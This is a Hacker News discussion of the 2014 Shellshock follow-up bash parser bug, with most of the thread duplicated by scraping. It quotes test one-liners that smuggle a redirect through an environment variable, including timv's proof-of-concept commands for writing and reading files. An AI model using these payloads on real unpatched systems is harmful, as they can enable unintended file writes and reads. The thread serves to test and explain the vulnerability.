4 ms·

It might still be an issue. The patches may not have done enough. $ env X='() { (a)=>\' sh -c "echo date"; cat echo https://twitter.com/taviso/status/51488739

It might still be an issue. The patches may not have done enough. $ env X='() { (a)=>\' sh -c "echo date"; cat echo https://twitter.com/taviso/status/514887394294652929# https://twitter.com/taviso/status/514887394294652929# env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("

jMyles 12y ago
Just tested on Ubuntu 14.04 patched. "still vulnerable :("
timv 12y ago
Chet (bash maintainer) says he has a fix. http://seclists.org/oss-sec/2014/q3/682 http://seclists.org/oss-sec/2014/q3/682
- andrew13 12y ago
  That's good news
caust1c 12y ago
https://news.ycombinator.com/item?id=8365158 https://news.ycombinator.com/item?id=8365158
Negitivefrags 12y ago
Can anyone confirm that this is still a security issue? My reading of this is that it's weird, and it's certainly a bug in the parser, but because you don't get to put the executable code in the environment variable it's not an RCE exploit like the last bug was. Does anyone have confirmation that this new bug allows you to RCE with control of the value of an environment variable alone?
- thaumaturgy 12y ago
  That was my initial reaction too, but I'm not so sure now that the bash maintainer has responded. I'm trying to get a better PoC working. edit: OK, I give. I don't understand how this is different from, env z='' echo oops So, assuming you have Stupid Server 2.0, and SS 2.0 allows you to send an Accept: header with, '' evil command here ...you still need to find a way to execute that command, which is different from CVE-2014-6271, which caused function embedded in environment variables to be executed when they were read. Am I missing something?
  - timv 12y ago
    Am I missing something? I think so, but the sample exploit isn't really designed to give a clear understanding if you don't already know what's going on. Try this: $ export X="() { (a)=>\\" $ bash -c 'echo date' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' $ cat echo Thu Sep 25 02:27:07 UTC 2014 Setting "X" in that way confuses the bash env variable parser. It barfs at the "=" and leaves the ">\" unparsed AFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as date > echo
    - thaumaturgy 12y ago
      Oh that's neat.
- timv 12y ago
  As best I can tell no one has (publicly) demonstrated a mechanism to turn this into an RCE (despite efforts to do so). http://seclists.org/oss-sec/2014/q3/679 http://seclists.org/oss-sec/2014/q3/679 Of course, that doesn't mean there isn't one. It's clearly a reasonably significant issue - the setting of environment variables can cause unintended file system writes (and the same parsing bug can be used for reads) - and you're better off assuming that someone will determine an exploit based on it.
timv 12y ago
The same trick can be used to read files as well $ date -u > file1 $ env -i X='() { (a)=<\' bash -c 'file1 cat' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' Thu Sep 25 02:14:30 UTC 2014 Though obviously it's going to be trickier to find an system that issues commands in a way that can act as a path for that sort of exploit.

jMyles 12y ago

Just tested on Ubuntu 14.04 patched. "still vulnerable :("

timv 12y ago

Chet (bash maintainer) says he has a fix. http://seclists.org/oss-sec/2014/q3/682 http://seclists.org/oss-sec/2014/q3/682

andrew13 12y ago
That's good news

caust1c 12y ago

https://news.ycombinator.com/item?id=8365158 https://news.ycombinator.com/item?id=8365158

Negitivefrags 12y ago

Can anyone confirm that this is still a security issue? My reading of this is that it's weird, and it's certainly a bug in the parser, but because you don't get to put the executable code in the environment variable it's not an RCE exploit like the last bug was. Does anyone have confirmation that this new bug allows you to RCE with control of the value of an environment variable alone?

thaumaturgy 12y ago
That was my initial reaction too, but I'm not so sure now that the bash maintainer has responded. I'm trying to get a better PoC working. edit: OK, I give. I don't understand how this is different from, env z='' echo oops So, assuming you have Stupid Server 2.0, and SS 2.0 allows you to send an Accept: header with, '' evil command here ...you still need to find a way to execute that command, which is different from CVE-2014-6271, which caused function embedded in environment variables to be executed when they were read. Am I missing something?
- timv 12y ago
  Am I missing something? I think so, but the sample exploit isn't really designed to give a clear understanding if you don't already know what's going on. Try this: $ export X="() { (a)=>\\" $ bash -c 'echo date' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' $ cat echo Thu Sep 25 02:27:07 UTC 2014 Setting "X" in that way confuses the bash env variable parser. It barfs at the "=" and leaves the ">\" unparsed AFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as date > echo
  - thaumaturgy 12y ago
    Oh that's neat.
timv 12y ago
As best I can tell no one has (publicly) demonstrated a mechanism to turn this into an RCE (despite efforts to do so). http://seclists.org/oss-sec/2014/q3/679 http://seclists.org/oss-sec/2014/q3/679 Of course, that doesn't mean there isn't one. It's clearly a reasonably significant issue - the setting of environment variables can cause unintended file system writes (and the same parsing bug can be used for reads) - and you're better off assuming that someone will determine an exploit based on it.

timv 12y ago

The same trick can be used to read files as well $ date -u > file1 $ env -i X='() { (a)=<\' bash -c 'file1 cat' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' Thu Sep 25 02:14:30 UTC 2014 Though obviously it's going to be trickier to find an system that issues commands in a way that can act as a path for that sort of exploit.